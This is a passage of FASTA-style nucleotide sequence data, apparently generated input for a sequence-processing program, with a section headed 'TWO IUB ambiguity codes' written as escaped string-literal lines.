AAACCCCGTCTCTACTAAAAATACAAAAATTAGCCGGGCGTGGTGGCGCGCGCCTGTAAT\n\ CCCAGCTACTCGGGAGGCTGAGGCAGGAGAATCGCTTGAACCCGGGAGGCGGAGGTTGCA\n\ GTGAGCCGAGATCGCGCCACTGCACTCCAGCCTGGGCGACAGAGCGAGACTCCGTCTCAA\n\ AAAGGCCGGGCGCGGTGGCTCACGCCTGTAATCCCAGCACTTTGGGAGGCCGAGGCGGGC\n\ GGATCACCTGAGGTCAGGAGTTCGAGACCAGCCTGGCCAACATGGTGAAACCCCGTCTCT\n\ ACTAAAAATACAAAAATTAGCCGGGCGTGGTGGCGCGCGCCTGTAATCCCAGCTACTCGG\n\ GAGGCTGAGGCAGGAGAATC\n\ >TWO IUB ambiguity codes\n\ cttBtatcatatgctaKggNcataaaSatgtaaaDcDRtBggDtctttataattcBgtcg\n\ tactDtDagcctatttSVHtHttKtgtHMaSattgWaHKHttttagacatWatgtRgaaa\n\ NtactMcSMtYtcMgRtacttctWBacgaaatatagScDtttgaagacacatagtVgYgt\n\ cattHWtMMWcStgttaggKtSgaYaaccWStcgBttgcgaMttBYatcWtgacaYcaga\n\ gtaBDtRacttttcWatMttDBcatWtatcttactaBgaYtcttgttttttttYaaScYa\n\ HgtgttNtSatcMtcVaaaStccRcctDaataataStcYtRDSaMtDttgttSagtRRca\n\ tttHatSttMtWgtcgtatSSagactYaaattcaMtWatttaSgYttaRgKaRtccactt\n\ tattRggaMcDaWaWagttttgacatgttctacaaaRaatataataaMttcgDacgaSSt\n\ acaStYRctVaNMtMgtaggcKatcttttattaaaaagVWaHKYagtttttatttaacct\n\ tacgtVtcVaattVMBcttaMtttaStgacttagattWWacVtgWYagWVRctDattBYt\n\ gtttaagaagattattgacVatMaacattVctgtBSgaVtgWWggaKHaatKWcBScSWa\n\ accRVacacaaactaccScattRatatKVtactatatttHttaagtttSKtRtacaaagt\n\ RDttcaaaaWgcacatWaDgtDKacgaacaattacaRNWaatHtttStgttattaaMtgt\n\ tgDcgtMgcatBtgcttcgcgaDWgagctgcgaggggVtaaScNatttacttaatgacag\n\ cccccacatYScaMgtaggtYaNgttctgaMaacNaMRaacaaacaKctacatagYWctg\n\ ttWaaataaaataRattagHacacaagcgKatacBttRttaagtatttccgatctHSaat\n\ actcNttMaagtattMtgRtgaMgcataatHcMtaBSaRattagttgatHtMttaaKagg\n\ YtaaBataSaVatactWtataVWgKgttaaaacagtgcgRatatacatVtHRtVYataSa\n\ KtWaStVcNKHKttactatccctcatgWHatWaRcttactaggatctataDtDHBttata\n\ aaaHgtacVtagaYttYaKcctattcttcttaataNDaaggaaaDYgcggctaaWSctBa\n\ aNtgctggMBaKctaMVKagBaactaWaDaMaccYVtNtaHtVWtKgRtcaaNtYaNacg\n\ gtttNattgVtttctgtBaWgtaattcaagtcaVWtactNggattctttaYtaaagccgc\n\ tcttagHVggaYtgtNcDaVagctctctKgacgtatagYcctRYHDtgBattDaaDgccK\n\ tcHaaStttMcctagtattgcRgWBaVatHaaaataYtgtttagMDMRtaataaggatMt\n\ ttctWgtNtgtgaaaaMaatatRtttMtDgHHtgtcattttcWattRSHcVagaagtacg\n\ ggtaKVattKYagactNaatgtttgKMMgYNtcccgSKttctaStatatNVataYHgtNa\n\ BKRgNacaactgatttcctttaNcgatttctctataScaHtataRagtcRVttacDSDtt\n\ aRtSatacHgtSKacYagttMHtWataggatgactNtatSaNctataVtttRNKtgRacc\n\ tttYtatgttactttttcctttaaacatacaHactMacacggtWataMtBVacRaSaatc\n\ cgtaBVttccagccBcttaRKtgtgcctttttRtgtcagcRttKtaaacKtaaatctcac\n\ aattgcaNtSBaaccgggttattaaBcKatDagttactcttcattVtttHaaggctKKga\n\ tacatcBggScagtVcacattttgaHaDSgHatRMaHWggtatatRgccDttcgtatcga\n\ aacaHtaagttaRatgaVacttagattVKtaaYttaaatcaNatccRttRRaMScNaaaD\n\ gttVHWgtcHaaHgacVaWtgttScactaagSgttatcttagggDtaccagWattWtRtg\n\ ttHWHacgattBtgVcaYatcggttgagKcWtKKcaVtgaYgWctgYggVctgtHgaNcV\n\ taBtWaaYatcDRaaRtSctgaHaYRttagatMatgcatttNattaDttaattgttctaa\n\ ccctcccctagaWBtttHtBccttagaVaatMcBHagaVcWcagBVttcBtaYMccagat\n\ gaaaaHctctaacgttagNWRtcggattNatcRaNHttcagtKttttgWatWttcSaNgg\n\ gaWtactKKMaacatKatacNattgctWtatctaVgagctatgtRaHtYcWcttagccaa\n\ tYttWttaWSSttaHcaaaaagVacVgtaVaRMgattaVcDactttcHHggHRtgNcctt\n\ tYatcatKgctcctctatVcaaaaKaaaagtatatctgMtWtaaaacaStttMtcgactt\n\ taSatcgDataaactaaacaagtaaVctaggaSccaatMVtaaSKNVattttgHccatca\n\ cBVctgcaVatVttRtactgtVcaattHgtaaattaaattttYtatattaaRSgYtgBag\n\ aHSBDgtagcacRHtYcBgtcacttacactaYcgctWtattgSHtSatcataaatataHt\n\ cgtYaaMNgBaatttaRgaMaatatttBtttaaaHHKaatctgatWatYaacttMctctt\n\ ttVctagctDaaagtaVaKaKRtaacBgtatccaaccactHHaagaagaaggaNaaatBW\n\ attccgStaMSaMatBttgcatgRSacgttVVtaaDMtcSgVatWcaSatcttttVatag\n\ ttactttacgatcaccNtaDVgSRcgVcgtgaacgaNtaNatatagtHtMgtHcMtagaa\n\ attBgtataRaaaacaYKgtRccYtatgaagtaataKgtaaMttgaaRVatgcagaKStc\n\ tHNaaatctBBtcttaYaBWHgtVtgacagcaRcataWctcaBcYacYgatDgtDHccta\n\ aagacYRcaggattHaYgtKtaatgcVcaataMYacccatatcacgWDBtgaatcBaata\n\ cKcttRaRtgatgaBDacggtaattaaYtataStgVHDtDctgactcaaatKtacaatgc\n\ gYatBtRaDatHaactgtttatatDttttaaaKVccYcaaccNcBcgHaaVcattHctcg\n\ attaaatBtatgcaaaaatYMctSactHatacgaWacattacMBgHttcgaatVaaaaca\n\ BatatVtctgaaaaWtctRacgBMaatSgRgtgtcgactatcRtattaScctaStagKga\n\ DcWgtYtDDWKRgRtHatRtggtcgaHgggcgtattaMgtcagccaBggWVcWctVaaat\n\ tcgNaatcKWagcNaHtgaaaSaaagctcYctttRVtaaaatNtataaccKtaRgtttaM\n\ tgtKaBtRtNaggaSattHatatWactcagtgtactaKctatttgRYYatKatgtccgtR\n\ tttttatttaatatVgKtttgtatgtNtataRatWYNgtRtHggtaaKaYtKSDcatcKg\n\ taaYatcSRctaVtSMWtVtRWHatttagataDtVggacagVcgKWagBgatBtaaagNc\n\ aRtagcataBggactaacacRctKgttaatcctHgDgttKHHagttgttaatgHBtatHc\n\ DaagtVaBaRccctVgtgDtacRHSctaagagcggWYaBtSaKtHBtaaactYacgNKBa\n\ VYgtaacttagtVttcttaatgtBtatMtMtttaattaatBWccatRtttcatagVgMMt\n\ agctStKctaMactacDNYgKYHgaWcgaHgagattacVgtttgtRaSttaWaVgataat\n\ gtgtYtaStattattMtNgWtgttKaccaatagNYttattcgtatHcWtctaaaNVYKKt\n\ tWtggcDtcgaagtNcagatacgcattaagaccWctgcagcttggNSgaNcHggatgtVt\n\ catNtRaaBNcHVagagaaBtaaSggDaatWaatRccaVgggStctDaacataKttKatt\n\ tggacYtattcSatcttagcaatgaVBMcttDattctYaaRgatgcattttNgVHtKcYR\n\ aatRKctgtaaacRatVSagctgtWacBtKVatctgttttKcgtctaaDcaagtatcSat\n\ aWVgcKKataWaYttcccSaatgaaaacccWgcRctWatNcWtBRttYaattataaNgac\n\ acaatagtttVNtataNaYtaatRaVWKtBatKagtaatataDaNaaaaataMtaagaaS\n\ tccBcaatNgaataWtHaNactgtcDtRcYaaVaaaaaDgtttRatctatgHtgttKtga\n\ aNSgatactttcgagWaaatctKaaDaRttgtggKKagcDgataaattgSaacWaVtaNM\n\ acKtcaDaaatttctRaaVcagNacaScRBatatctRatcctaNatWgRtcDcSaWSgtt\n\ RtKaRtMtKaatgttBHcYaaBtgatSgaSWaScMgatNtctcctatttctYtatMatMt\n\ RRtSaattaMtagaaaaStcgVgRttSVaScagtgDtttatcatcatacRcatatDctta\n\ tcatVRtttataaHtattcYtcaaaatactttgVctagtaaYttagatagtSYacKaaac\n\ gaaKtaaatagataatSatatgaaatSgKtaatVtttatcctgKHaatHattagaaccgt\n\ YaaHactRcggSBNgtgctaaBagBttgtRttaaattYtVRaaaattgtaatVatttctc\n\ ttcatgBcVgtgKgaHaaatattYatagWacNctgaaMcgaattStagWaSgtaaKagtt\n\ ttaagaDgatKcctgtaHtcatggKttVDatcaaggtYcgccagNgtgcVttttagagat\n\ gctaccacggggtNttttaSHaNtatNcctcatSaaVgtactgBHtagcaYggYVKNgta\n\ KBcRttgaWatgaatVtagtcgattYgatgtaatttacDacSctgctaaaStttaWMagD\n\ aaatcaVYctccgggcgaVtaaWtStaKMgDtttcaaMtVgBaatccagNaaatcYRMBg\n\ gttWtaaScKttMWtYataRaDBMaDataatHBcacDaaKDactaMgagttDattaHatH\n\ taYatDtattDcRNStgaatattSDttggtattaaNSYacttcDMgYgBatWtaMagact\n\ VWttctttgYMaYaacRgHWaattgRtaagcattctMKVStatactacHVtatgatcBtV\n\ NataaBttYtSttacKgggWgYDtgaVtYgatDaacattYgatggtRDaVDttNactaSa\n\ MtgNttaacaaSaBStcDctaccacagacgcaHatMataWKYtaYattMcaMtgSttDag\n\ cHacgatcaHttYaKHggagttccgatYcaatgatRaVRcaagatcagtatggScctata\n\ ttaNtagcgacgtgKaaWaactSgagtMYtcttccaKtStaacggMtaagNttattatcg\n\ tctaRcactctctDtaacWYtgaYaSaagaWtNtatttRacatgNaatgttattgWDDcN\n\ aHcctgaaHacSgaataaRaataMHttatMtgaSDSKatatHHaNtacagtccaYatWtc\n\ actaactatKDacSaStcggataHgYatagKtaatKagStaNgtatactatggRHacttg\n\ tattatgtDVagDVaRctacMYattDgtttYgtctatggtKaRSttRccRtaaccttaga\n\ gRatagSaaMaacgcaNtatgaaatcaRaagataatagatactcHaaYKBctccaagaRa\n\ BaStNagataggcgaatgaMtagaatgtcaKttaaatgtaWcaBttaatRcggtgNcaca\n\ aKtttScRtWtgcatagtttWYaagBttDKgcctttatMggNttattBtctagVtacata\n\ aaYttacacaaRttcYtWttgHcaYYtaMgBaBatctNgcDtNttacgacDcgataaSat\n\ YaSttWtcctatKaatgcagHaVaacgctgcatDtgttaSataaaaYSNttatagtaNYt\n\ aDaaaNtggggacttaBggcHgcgtNtaaMcctggtVtaKcgNacNtatVaSWctWtgaW\n\ cggNaBagctctgaYataMgaagatBSttctatacttgtgtKtaattttRagtDtacata\n\ tatatgatNHVgBMtKtaKaNttDHaagatactHaccHtcatttaaagttVaMcNgHata\n\ tKtaNtgYMccttatcaaNagctggacStttcNtggcaVtattactHaSttatgNMVatt\n\ MMDtMactattattgWMSgtHBttStStgatatRaDaagattttctatMtaaaaaggtac\n\ taaVttaSacNaatactgMttgacHaHRttgMacaaaatagttaatatWKRgacDgaRta\n\ tatttattatcYttaWtgtBRtWatgHaaattHataagtVaDtWaVaWtgStcgtMSgaS\n\ RgMKtaaataVacataatgtaSaatttagtcgaaHtaKaatgcacatcggRaggSKctDc\n\ agtcSttcccStYtccRtctctYtcaaKcgagtaMttttcRaYDttgttatctaatcata\n\ NctctgctatcaMatactataggDaHaaSttMtaDtcNatataattctMcStaaBYtaNa\n\ gatgtaatHagagSttgWHVcttatKaYgDctcttggtgttMcRaVgSgggtagacaata\n\ aDtaattSaDaNaHaBctattgNtaccaaRgaVtKNtaaYggHtaKKgHcatctWtctDt\n\ ttctttggSDtNtaStagttataaacaattgcaBaBWggHgcaaaBtYgctaatgaaatW\n\ cDcttHtcMtWWattBHatcatcaaatctKMagtDNatttWaBtHaaaNgMttaaStagt\n\ tctctaatDtcRVaYttgttMtRtgtcaSaaYVgSWDRtaatagctcagDgcWWaaaBaa\n\ RaBctgVgggNgDWStNaNBKcBctaaKtttDcttBaaggBttgaccatgaaaNgttttt\n\ tttatctatgttataccaaDRaaSagtaVtDtcaWatBtacattaWacttaSgtattggD\n\ gKaaatScaattacgWcagKHaaccaYcRcaRttaDttRtttHgaHVggcttBaRgtccc\n\ tDatKaVtKtcRgYtaKttacgtatBtStaagcaattaagaRgBagSaattccSWYttta\n\ ttVaataNctgHgttaaNBgcVYgtRtcccagWNaaaacaDNaBcaaaaRVtcWMgBagM\n\ tttattacgDacttBtactatcattggaaatVccggttRttcatagttVYcatYaSHaHc\n\ ttaaagcNWaHataaaRWtctVtRYtagHtaaaYMataHYtNBctNtKaatattStgaMc\n\ BtRgctaKtgcScSttDgYatcVtggaaKtaagatWccHccgKYctaNNctacaWctttt\n\ gcRtgtVcgaKttcMRHgctaHtVaataaDtatgKDcttatBtDttggNtacttttMtga\n\ acRattaaNagaactcaaaBBVtcDtcgaStaDctgaaaSgttMaDtcgttcaccaaaag\n\ gWtcKcgSMtcDtatgtttStaaBtatagDcatYatWtaaaBacaKgcaDatgRggaaYc\n\ taRtccagattDaWtttggacBaVcHtHtaacDacYgtaatataMagaatgHMatcttat\n\ acgtatttttatattacHactgttataMgStYaattYaccaattgagtcaaattaYtgta\n\ tcatgMcaDcgggtcttDtKgcatgWRtataatatRacacNRBttcHtBgcRttgtgcgt\n\ catacMtttBctatctBaatcattMttMYgattaaVYatgDaatVagtattDacaacDMa\n\ tcMtHcccataagatgBggaccattVWtRtSacatgctcaaggggYtttDtaaNgNtaaB\n\ atggaatgtctRtaBgBtcNYatatNRtagaacMgagSaSDDSaDcctRagtVWSHtVSR\n\ ggaacaBVaccgtttaStagaacaMtactccagtttVctaaRaaHttNcttagcaattta\n\ ttaatRtaaaatctaacDaBttggSagagctacHtaaRWgattcaaBtctRtSHaNtgta\n\ cattVcaHaNaagtataccacaWtaRtaaVKgMYaWgttaKggKMtKcgWatcaDatYtK\n\ SttgtacgaccNctSaattcDcatcttcaaaDKttacHtggttHggRRaRcaWacaMtBW\n\ VHSHgaaMcKattgtaRWttScNattBBatYtaNRgcggaagacHSaattRtttcYgacc\n\ BRccMacccKgatgaacttcgDgHcaaaaaRtatatDtatYVtttttHgSHaSaatagct\n\ NYtaHYaVYttattNtttgaaaYtaKttWtctaNtgagaaaNctNDctaaHgttagDcRt\n\ tatagccBaacgcaRBtRctRtggtaMYYttWtgataatcgaataattattataVaaaaa\n\ ttacNRVYcaaMacNatRttcKatMctgaagactaattataaYgcKcaSYaatMNctcaa\n\ cgtgatttttBacNtgatDccaattattKWWcattttatatatgatBcDtaaaagttgaa\n\ VtaHtaHHtBtataRBgtgDtaataMttRtDgDcttattNtggtctatctaaBcatctaR\n\ atgNacWtaatgaagtcMNaacNgHttatactaWgcNtaStaRgttaaHacccgaYStac\n\ aaaatWggaYaWgaattattcMaactcBKaaaRVNcaNRDcYcgaBctKaacaaaaaSgc\n\ tccYBBHYaVagaatagaaaacagYtctVccaMtcgtttVatcaatttDRtgWctagtac\n\ RttMctgtDctttcKtWttttataaatgVttgBKtgtKWDaWagMtaaagaaattDVtag\n\ gttacatcatttatgtcgMHaVcttaBtVRtcgtaYgBRHatttHgaBcKaYWaatcNSc\n\ tagtaaaaatttacaatcactSWacgtaatgKttWattagttttNaggtctcaagtcact\n\ attcttctaagKggaataMgtttcataagataaaaatagattatDgcBVHWgaBKttDgc\n\ atRHaagcaYcRaattattatgtMatatattgHDtcaDtcaaaHctStattaatHaccga\n\ cNattgatatattttgtgtDtRatagSacaMtcRtcattcccgacacSattgttKaWatt\n\ NHcaacttccgtttSRtgtctgDcgctcaaMagVtBctBMcMcWtgtaacgactctcttR\n\ ggRKSttgYtYatDccagttDgaKccacgVatWcataVaaagaataMgtgataaKYaaat\n\ cHDaacgataYctRtcYatcgcaMgtNttaBttttgatttaRtStgcaacaaaataccVg\n\ aaDgtVgDcStctatatttattaaaaRKDatagaaagaKaaYYcaYSgKStctccSttac\n\ agtcNactttDVttagaaagMHttRaNcSaRaMgBttattggtttaRMggatggcKDgWR\n\ tNaataataWKKacttcKWaaagNaBttaBatMHtccattaacttccccYtcBcYRtaga\n\ ttaagctaaYBDttaNtgaaaccHcaRMtKtaaHMcNBttaNaNcVcgVttWNtDaBatg\n\ ataaVtcWKcttRggWatcattgaRagHgaattNtatttctctattaattaatgaDaaMa\n\ tacgttgggcHaYVaaNaDDttHtcaaHtcVVDgBVagcMacgtgttaaBRNtatRtcag\n\ taagaggtttaagacaVaaggttaWatctccgtVtaDtcDatttccVatgtacNtttccg\n\ tHttatKgScBatgtVgHtYcWagcaKtaMYaaHgtaattaSaHcgcagtWNaatNccNN\n\ YcacgVaagaRacttctcattcccRtgtgtaattagcSttaaStWaMtctNNcSMacatt\n\ ataaactaDgtatWgtagtttaagaaaattgtagtNagtcaataaatttgatMMYactaa\n\ tatcggBWDtVcYttcDHtVttatacYaRgaMaacaStaatcRttttVtagaDtcacWat\n\ ttWtgaaaagaaagNRacDtttStVatBaDNtaactatatcBSMcccaSttccggaMatg\n\ attaaWatKMaBaBatttgataNctgttKtVaagtcagScgaaaDggaWgtgttttKtWt\n\ atttHaatgtagttcactaaKMagttSYBtKtaYgaactcagagRtatagtVtatcaaaW\n\ YagcgNtaDagtacNSaaYDgatBgtcgataacYDtaaactacagWDcYKaagtttatta\n\ gcatcgagttKcatDaattgattatDtcagRtWSKtcgNtMaaaaacaMttKcaWcaaSV\n\ MaaaccagMVtaMaDtMaHaBgaacataBBVtaatVYaNSWcSgNtDNaaKacacBttta\n\ tKtgtttcaaHaMctcagtaacgtcgYtactDcgcctaNgagagcYgatattttaaattt\n\ ccattttacatttDaaRctattttWctttacgtDatYtttcagacgcaaVttagtaaKaa\n\ aRtgVtccataBggacttatttgtttaWNtgttVWtaWNVDaattgtatttBaagcBtaa\n\ BttaaVatcHcaVgacattccNggtcgacKttaaaRtagRtctWagaYggtgMtataatM\n\ tgaaRttattttgWcttNtDRRgMDKacagaaaaggaaaRStcccagtYccVattaNaaK\n\ StNWtgacaVtagaagcttSaaDtcacaacgDYacWDYtgtttKatcVtgcMaDaSKStV\n\ cgtagaaWaKaagtttcHaHgMgMtctataagBtKaaaKKcactggagRRttaagaBaaN\n\ atVVcgRcKSttDaactagtSttSattgttgaaRYatggttVttaataaHttccaagDtg\n\ atNWtaagHtgcYtaactRgcaatgMgtgtRaatRaNaacHKtagactactggaatttcg\n\ ccataacgMctRgatgttaccctaHgtgWaYcactcacYaattcttaBtgacttaaacct\n\ gYgaWatgBttcttVttcgttWttMcNYgtaaaatctYgMgaaattacNgaHgaacDVVM\n\ tttggtHtctaaRgtacagacgHtVtaBMNBgattagcttaRcttacaHcRctgttcaaD\n\ BggttKaacatgKtttYataVaNattccgMcgcgtagtRaVVaattaKaatggttRgaMc\n\ agtatcWBttNtHagctaatctagaaNaaacaYBctatcgcVctBtgcaaagDgttVtga\n\ HtactSNYtaaNccatgtgDacgaVtDcgKaRtacDcttgctaagggcagMDagggtBWR\n\ tttSgccttttttaacgtcHctaVtVDtagatcaNMaVtcVacatHctDWNaataRgcgt\n\ aVHaggtaaaaSgtttMtattDgBtctgatSgtRagagYtctSaKWaataMgattRKtaa\n\ catttYcgtaacacattRWtBtcggtaaatMtaaacBatttctKagtcDtttgcBtKYYB\n\ aKttctVttgttaDtgattttcttccacttgSaaacggaaaNDaattcYNNaWcgaaYat\n\ tttMgcBtcatRtgtaaagatgaWtgaccaYBHgaatagataVVtHtttVgYBtMctaMt\n\ cctgaDcYttgtccaaaRNtacagcMctKaaaggatttacatgtttaaWSaYaKttBtag\n\ DacactagctMtttNaKtctttcNcSattNacttggaacaatDagtattRtgSHaataat\n\ gccVgacccgatactatccctgtRctttgagaSgatcatatcgDcagWaaHSgctYYWta\n\ tHttggttctttatVattatcgactaagtgtagcatVgtgHMtttgtttcgttaKattcM\n\ atttgtttWcaaStNatgtHcaaaDtaagBaKBtRgaBgDtSagtatMtaacYaatYtVc\n\ KatgtgcaacVaaaatactKcRgtaYtgtNgBBNcKtcttaccttKgaRaYcaNKtactt\n\ tgagSBtgtRagaNgcaaaNcacagtVtttHWatgttaNatBgtttaatNgVtctgaata\n\ tcaRtattcttttttttRaaKcRStctcggDgKagattaMaaaKtcaHacttaataataK\n\ taRgDtKVBttttcgtKaggHHcatgttagHggttNctcgtatKKagVagRaaaggaaBt\n\ NatttVKcRttaHctaHtcaaatgtaggHccaBataNaNaggttgcWaatctgatYcaaa\n\ HaatWtaVgaaBttagtaagaKKtaaaKtRHatMaDBtBctagcatWtatttgWttVaaa\n\ ScMNattRactttgtYtttaaaagtaagtMtaMaSttMBtatgaBtttaKtgaatgagYg\n\ tNNacMtcNRacMMHcttWtgtRtctttaacaacattattcYaMagBaacYttMatcttK\n\ cRMtgMNccattaRttNatHaHNaSaaHMacacaVaatacaKaSttHatattMtVatWga\n\ ttttttaYctttKttHgScWaacgHtttcaVaaMgaacagNatcgttaacaaaaagtaca\n\ HBNaattgttKtcttVttaaBtctgctacgBgcWtttcaggacacatMgacatcccagcg\n\ gMgaVKaBattgacttaatgacacacaaaaaatRKaaBctacgtRaDcgtagcVBaacDS\n\ BHaaaaSacatatacagacRNatcttNaaVtaaaataHattagtaaaaSWccgtatWatg\n\ gDttaactattgcccatcttHaSgYataBttBaactattBtcHtgatcaataSttaBtat\n\ KSHYttWggtcYtttBttaataccRgVatStaHaKagaatNtagRMNgtcttYaaSaact\n\ cagDSgagaaYtMttDtMRVgWKWtgMaKtKaDttttgactatacataatcNtatNaHat\n\ tVagacgYgatatatttttgtStWaaatctWaMgagaRttRatacgStgattcttaagaD\n\ taWccaaatRcagcagaaNKagtaaDggcgccBtYtagSBMtactaaataMataBSacRM\n\ gDgattMMgtcHtcaYDtRaDaacggttDaggcMtttatgttaNctaattaVacgaaMMt\n\ aatDccSgtattgaRtWWaccaccgagtactMcgVNgctDctaMScatagcgtcaactat\n\ acRacgHRttgctatttaatgaattataYKttgtaagWgtYttgcHgMtaMattWaWVta\n\ RgcttgYgttBHtYataSccStBtgtagMgtDtggcVaaSBaatagDttgBgtctttctc\n\ attttaNagtHKtaMWcYactVcgcgtatMVtttRacVagDaatcttgctBBcRDgcaac\n\ KttgatSKtYtagBMagaRtcgBattHcBWcaactgatttaatttWDccatttatcgagS\n\ KaWttataHactaHMttaatHtggaHtHagaatgtKtaaRactgtttMatacgatcaagD\n\ gatKaDctataMggtHDtggHacctttRtatcttYattttgacttgaaSaataaatYcgB\n\ aaaaccgNatVBttMacHaKaataagtatKgtcaagactcttaHttcggaattgttDtct\n\ aaccHttttWaaatgaaatataaaWattccYDtKtaaaacggtgaggWVtctattagtga\n\ ctattaagtMgtttaagcatttgSgaaatatccHaaggMaaaattttcWtatKctagDtY\n\ tMcctagagHcactttactatacaaacattaacttaHatcVMYattYgVgtMttaaRtga\n\ aataaDatcaHgtHHatKcDYaatcttMtNcgatYatgSaMaNtcttKcWataScKggta\n\ tcttacgcttWaaagNatgMgHtctttNtaacVtgttcMaaRatccggggactcMtttaY\n\ MtcWRgNctgNccKatcttgYDcMgattNYaRagatHaaHgKctcataRDttacatBatc\n\ cattgDWttatttaWgtcggagaaaaatacaatacSNtgggtttccttacSMaagBatta\n\ caMaNcactMttatgaRBacYcYtcaaaWtagctSaacttWgDMHgaggatgBVgcHaDt\n\ ggaactttggtcNatNgtaKaBcccaNtaagttBaacagtatacDYttcctNgWgcgSMc\n\ acatStctHatgRcNcgtacacaatRttMggaNKKggataaaSaYcMVcMgtaMaHtgat\n\ tYMatYcggtcttcctHtcDccgtgRatcattgcgccgatatMaaYaataaYSggatagc\n\ gcBtNtaaaScaKgttBgagVagttaKagagtatVaactaSacWactSaKatWccaKaaa\n\ atBKgaaKtDMattttgtaaatcRctMatcaaMagMttDgVatggMaaWgttcgaWatga\n\ aatttgRtYtattaWHKcRgctacatKttctaccaaHttRatctaYattaaWatVNccat\n\ NgagtcKttKataStRaatatattcctRWatDctVagttYDgSBaatYgttttgtVaatt\n\ taatagcagMatRaacttBctattgtMagagattaaactaMatVtHtaaatctRgaaaaa\n\ aaatttWacaacaYccYDSaattMatgaccKtaBKWBattgtcaagcHKaagttMMtaat\n\ ttcKcMagNaaKagattggMagaggtaatttYacatcWaaDgatMgKHacMacgcVaaca\n\ DtaDatatYggttBcgtatgWgaSatttgtagaHYRVacaRtctHaaRtatgaactaata\n\ tctSSBgggaaHMWtcaagatKgagtDaSatagttgattVRatNtctMtcSaagaSHaat\n\ aNataataRaaRgattctttaataaagWaRHcYgcatgtWRcttgaaggaMcaataBRaa\n\ ccagStaaacNtttcaatataYtaatatgHaDgcStcWttaacctaRgtYaRtataKtgM\n\ ttttatgactaaaatttacYatcccRWtttHRtattaaatgtttatatttgttYaatMca\n\ RcSVaaDatcgtaYMcatgtagacatgaaattgRtcaaYaaYtRBatKacttataccaNa\n\ aattVaBtctggacaagKaaYaaatatWtMtatcYaaVNtcgHaactBaagKcHgtctac\n\ aatWtaDtSgtaHcataHtactgataNctRgttMtDcDttatHtcgtacatcccaggStt\n\ aBgtcacacWtccNMcNatMVaVgtccDYStatMaccDatggYaRKaaagataRatttHK\n\ tSaaatDgataaacttaHgttgVBtcttVttHgDacgaKatgtatatNYataactctSat\n\ atatattgcHRRYttStggaactHgttttYtttaWtatMcttttctatctDtagVHYgMR\n\ BgtHttcctaatYRttKtaagatggaVRataKDctaMtKBNtMtHNtWtttYcVtattMc\n\ gRaacMcctNSctcatttaaagDcaHtYccSgatgcaatYaaaaDcttcgtaWtaattct\n\ cgttttScttggtaatctttYgtctaactKataHacctMctcttacHtKataacacagcN\n\ RatgKatttttSaaatRYcgDttaMRcgaaattactMtgcgtaagcgttatBtttttaat\n\ taagtNacatHgttcRgacKcBBtVgatKttcgaBaatactDRgtRtgaNacWtcacYtt\n\ aaKcgttctHaKttaNaMgWgWaggtctRgaKgWttSttBtDcNtgtttacaaatYcDRt\n\ gVtgcctattcNtctaaaDMNttttNtggctgagaVctDaacVtWccaagtaacacaNct\n\ gaScattccDHcVBatcgatgtMtaatBgHaatDctMYgagaatgYWKcctaatNaStHa\n\ aaKccgHgcgtYaaYtattgtStgtgcaaRtattaKatattagaWVtcaMtBagttatta\n\ gNaWHcVgcaattttDcMtgtaRHVYtHtctgtaaaaHVtMKacatcgNaatttMatatg\n\ ttgttactagWYtaRacgataKagYNKcattataNaRtgaacKaYgcaaYYacaNccHat\n\ MatDcNgtHttRaWttagaaDcaaaaaatagggtKDtStaDaRtaVtHWKNtgtattVct\n\ SVgRgataDaRaWataBgaagaaKtaataaYgDcaStaNgtaDaaggtattHaRaWMYaY\n\ aWtggttHYgagVtgtgcttttcaaDKcagVcgttagacNaaWtagtaataDttctggtt\n\ VcatcataaagtgKaaaNaMtaBBaattaatWaattgctHaVKaSgDaaVKaHtatatat\n\ HatcatSBagNgHtatcHYMHgttDgtaHtBttWatcgtttaRaattgStKgSKNWKatc\n\ agDtctcagatttctRtYtBatBgHHtKaWtgYBgacVVWaKtacKcDttKMaKaVcggt\n\ gttataagaataaHaatattagtataatMHgttYgaRttagtaRtcaaVatacggtcMcg\n\ agtaaRttacWgactKRYataaaagSattYaWgagatYagKagatgSaagKgttaatMgg\n\ tataatgttWYttatgagaaacctNVataatHcccKtDctcctaatactggctHggaSag\n\ gRtKHaWaattcgSatMatttagaggcYtctaMcgctcataSatatgRagacNaaDagga\n\ VBagaYttKtacNaKgtSYtagttggaWcatcWttaatctatgaVtcgtgtMtatcaYcg\n\ tRccaaYgDctgcMgtgtWgacWtgataacacgcgctBtgttaKtYDtatDcatcagKaV\n\ MctaatcttgVcaaRgcRMtDcgattaHttcaNatgaatMtactacVgtRgatggaWttt\n\ actaaKatgagSaaKggtaNtactVaYtaaKRagaacccacaMtaaMtKtatBcttgtaa\n\ WBtMctaataaVcDaaYtcRHBtcgttNtaaHatttBNgRStVDattBatVtaagttaYa\n\ tVattaagaBcacggtSgtVtatttaRattgatgtaHDKgcaatattKtggcctatgaWD\n\ KRYcggattgRctatNgatacaatMNttctgtcRBYRaaaHctNYattcHtaWcaattct\n\ BtMKtVgYataatMgYtcagcttMDataVtggRtKtgaatgccNcRttcaMtRgattaac\n\ attRcagcctHtWMtgtDRagaKaBtgDttYaaaaKatKgatctVaaYaacWcgcatagB\n\ VtaNtRtYRaggBaaBtgKgttacataagagcatgtRattccacttaccatRaaatgWgD\n\ aMHaYVgVtaSctatcgKaatatattaDgacccYagtgtaYNaaatKcagtBRgagtcca\n\ tgKgaaaccBgaagBtgSttWtacgatWHaYatcgatttRaaNRgcaNaKVacaNtDgat\n\ tgHVaatcDaagcgtatgcNttaDataatcSataaKcaataaHWataBtttatBtcaKtK\n\ tatagttaDgSaYctacaRatNtaWctSaatatttYaKaKtaccWtatcRagacttaYtt\n\ VcKgSDcgagaagatccHtaattctSttatggtKYgtMaHagVaBRatttctgtRgtcta\n\ tgggtaHKgtHacHtSYacgtacacHatacKaaBaVaccaDtatcSaataaHaagagaat\n\ ScagactataaRttagcaaVcaHataKgDacatWccccaagcaBgagWatctaYttgaaa\n\ tctVNcYtttWagHcgcgcDcVaaatgttKcHtNtcaatagtgtNRaactttttcaatgg\n\ WgBcgDtgVgtttctacMtaaataaaRggaaacWaHttaRtNtgctaaRRtVBctYtVta\n\ tDcattDtgaccYatagatYRKatNYKttNgcctagtaWtgaactaMVaacctgaStttc\n\ tgaKVtaaVaRKDttVtVctaDNtataaaDtccccaagtWtcgatcactDgYaBcatcct\n\ MtVtacDaaBtYtMaKNatNtcaNacgDatYcatcgcaRatWBgaacWttKttagYtaat\n\ tcggttgSWttttDWctttacYtatatWtcatDtMgtBttgRtVDggttaacYtacgtac\n\ atgaattgaaWcttMStaDgtatattgaDtcRBcattSgaaVBRgagccaaKtttcDgcg\n\ 